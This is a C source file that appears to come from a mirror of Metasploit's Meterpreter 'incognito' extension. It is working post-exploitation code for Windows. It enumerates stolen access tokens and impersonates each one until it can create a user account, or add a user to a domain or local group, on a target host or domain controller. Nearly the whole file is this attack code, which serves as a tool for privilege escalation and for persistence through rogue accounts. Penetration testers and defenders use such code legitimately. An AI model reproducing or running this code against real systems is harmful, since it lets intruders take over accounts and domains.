1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00

308 lines
12 KiB
C

#define _CRT_SECURE_NO_DEPRECATE 1
#include "common.h"
#include "common_metapi.h"
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#include <aclapi.h>
#include <accctrl.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <lm.h>
#include <wchar.h>
#include "list_tokens.h"
#include "incognito.h"
DWORD request_incognito_add_user(Remote *remote, Packet *packet)
{
USER_INFO_1 ui;
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
NET_API_STATUS nStatus;
SavedToken *token_list = NULL;
HANDLE saved_token;
char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
mbstowcs(password_u, password, strlen(password)+1);
ui.usri1_name = username_u;
ui.usri1_password = password_u;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
// Save current thread token if one is currently being impersonated
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list)
{
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
goto cleanup;
}
sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);
// Attempt to add user with every token
for (i=0;i<num_tokens;i++)
if (token_list[i].token)
{
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
continue;
ImpersonateLoggedOnUser(token_list[i].token);
nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
RevertToSelf();
switch (nStatus)
{
case ERROR_ACCESS_DENIED:
case ERROR_LOGON_FAILURE: // unknown username or bad password
case ERROR_INVALID_PASSWORD:
break;
case NERR_Success:
strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_InvalidComputer:
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_NotPrimary:
strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_GroupExists:
strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_UserExists:
strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_PasswordTooShort:
strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
default:
sprintf(temp, "[-] Unknown error: %d\n", nStatus);
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
}
}
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
cleanup:
for (i=0;i<num_tokens;i++)
CloseHandle(token_list[i].token);
free(token_list);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
ImpersonateLoggedOnUser(saved_token);
return ERROR_SUCCESS;
}
DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
{
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
NET_API_STATUS nStatus;
SavedToken *token_list = NULL;
HANDLE saved_token;
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
mbstowcs(groupname_u, groupname, strlen(groupname)+1);
// Save current thread token if one is currently being impersonated
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list)
{
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
goto cleanup;
}
sprintf(return_value, "[*] Attempting to add user %s to group %s on domain controller %s\n", username, groupname, dc_netbios_name);
// Attempt to add user to group with every token
for (i=0;i<num_tokens;i++)
if (token_list[i].token)
{
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
continue;
ImpersonateLoggedOnUser(token_list[i].token);
nStatus = NetGroupAddUser(dc_netbios_name_u, groupname_u, username_u);
RevertToSelf();
switch (nStatus)
{
case ERROR_ACCESS_DENIED:
case ERROR_LOGON_FAILURE: // unknown username or bad password
case ERROR_INVALID_PASSWORD:
break;
case NERR_Success:
strncat(return_value, "[+] Successfully added user to group\n", sizeof(return_value)-strlen(return_value)-1);;
goto cleanup;
case NERR_InvalidComputer:
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_NotPrimary:
strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_SpeGroupOp:
strncat(return_value, "[-] Special group\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_UserNotFound:
strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_GroupNotFound:
strncat(return_value, "[-] Group not found\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case 2236: // Can't find error code in documentation...found by testing
strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
default:
sprintf(temp, "Unknown error: %d\n", nStatus);
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
}
}
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
cleanup:
for (i=0;i<num_tokens;i++)
CloseHandle(token_list[i].token);
free(token_list);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
ImpersonateLoggedOnUser(saved_token);
return ERROR_SUCCESS;
}
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
{
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
NET_API_STATUS nStatus;
LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
SavedToken *token_list = NULL;
HANDLE saved_token;
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
mbstowcs(groupname_u, groupname, strlen(groupname)+1);
localgroup_member.lgrmi3_domainandname = username_u;
// Save current thread token if one is currently being impersonated
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list)
{
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
goto cleanup;
}
sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name);
// Attempt to add user to localgroup with every token
for (i=0;i<num_tokens;i++)
if (token_list[i].token)
{
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
continue;
ImpersonateLoggedOnUser(token_list[i].token);
nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
RevertToSelf();
switch (nStatus)
{
case ERROR_ACCESS_DENIED:
case ERROR_LOGON_FAILURE: // unknown username or bad password
case ERROR_INVALID_PASSWORD:
break;
case NERR_Success:
strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_InvalidComputer:
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case ERROR_NO_SUCH_MEMBER:
strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case NERR_GroupNotFound:
case 1376: // found by testing (also group not found)
strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
case ERROR_MEMBER_IN_ALIAS:
strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
default:
sprintf(temp, "Unknown error: %d \n", nStatus);
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
goto cleanup;
}
}
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
cleanup:
for (i=0;i<num_tokens;i++)
CloseHandle(token_list[i].token);
free(token_list);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
ImpersonateLoggedOnUser(saved_token);
return ERROR_SUCCESS;
}